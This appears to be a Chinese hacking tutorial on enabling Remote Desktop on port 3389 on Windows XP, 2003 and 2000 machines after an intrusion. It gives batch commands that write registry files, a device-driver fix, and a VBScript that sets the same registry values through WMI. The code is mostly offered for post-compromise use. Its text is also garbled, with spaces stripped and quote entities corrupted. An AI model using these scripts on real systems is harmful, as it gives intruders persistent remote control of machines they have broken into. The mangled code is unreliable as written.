入侵系统开远程终端的方法总结

WinXP&Win2003开3389代码：





以下是引用片段：

echoWindowsRegistryEditorVersion5.00>3389.reg

echo.>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer]>>3389.reg

echo"fDenyTSConnections"=dword:00000000>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]>>3389.reg

echo&quotortNumber"=dword:00000d3d>>3389.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]>>3389.reg

echo&quotortNumber"=dword:00000d3d>>3389.reg




 
Win2000开3389：





以下是引用片段：

echoWindowsRegistryEditorVersion5.00>2000.reg

echo.>>2000.reg

echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]>>2000.reg

echo"Enabled"="0">>2000.reg

echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon]>>2000.reg

echo"ShutdownWithoutLogon"="0">>2000.reg

echo[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>2000.reg

echo"EnableAdminTSRemote"=dword:00000001>>2000.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer]>>2000.reg

echo"TSEnabled"=dword:00000001>>2000.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>2000.reg

echo"Start"=dword:00000002>>2000.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>>2000.reg

echo"Start"=dword:00000002>>2000.reg

echo[HKEY_USERS\.DEFAULT\KeyboardLayout\Toggle]>>2000.reg

echo"Hotkey"="1">>2000.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]>>2000.reg

echo&quotortNumber"=dword:00000D3D>>2000.reg

echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]>>2000.reg

echo&quotortNumber"=dword:00000D3D>>2000.reg




 
一些ghostxp无法连接3389的解决方法：





以下是引用片段：

WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\Root\\RDPDR\\0000]

"ClassGUID"="{4D36E97D-E325-11CE-BFC1-08002BE10318}"

"Class"="System"

"HardwareID"=hex(7):52,00,4f,00,4f,00,54,00,5c,00,52,00,44,00,50,00,44,00,52,\\

00,00,00,00,00

"Driver"="{4D36E97D-E325-11CE-BFC1-08002BE10318}\\\\0030"

"Mfg"="(标准系统设备)"

"Service"="rdpdr"

"DeviceDesc"="终端服务器设备重定向器"

"ConfigFlags"=dword:00000000

"Capabilities"=dword:00000000



这个注册表文件开始是没权限导入的。。要结合regini命令加上控制权限才行咯。自己手动图形界面也行。。



devcon-rinstall%windir%\inf\machine.infroot\rdpdr

decon是xp自带的终端服务器设备重定器（有的系统有有的没）
 
开3389的VBS版本




以下是引用片段：

onerrorresumenext   

constHKEY_LOCAL_MACHINE=&H80000002   

strComputer="."   

SetStdOut=WScript.StdOut   

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&_   

strComputer&"\root\default:StdRegProv")   

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"   

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer"

strValueName="fDenyTSConnections"

dwValue=0

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"   

strValueName=&quotortNumber"

dwValue=3389

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"   

strValueName=&quotortNumber"   

dwValue=3389   

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue





*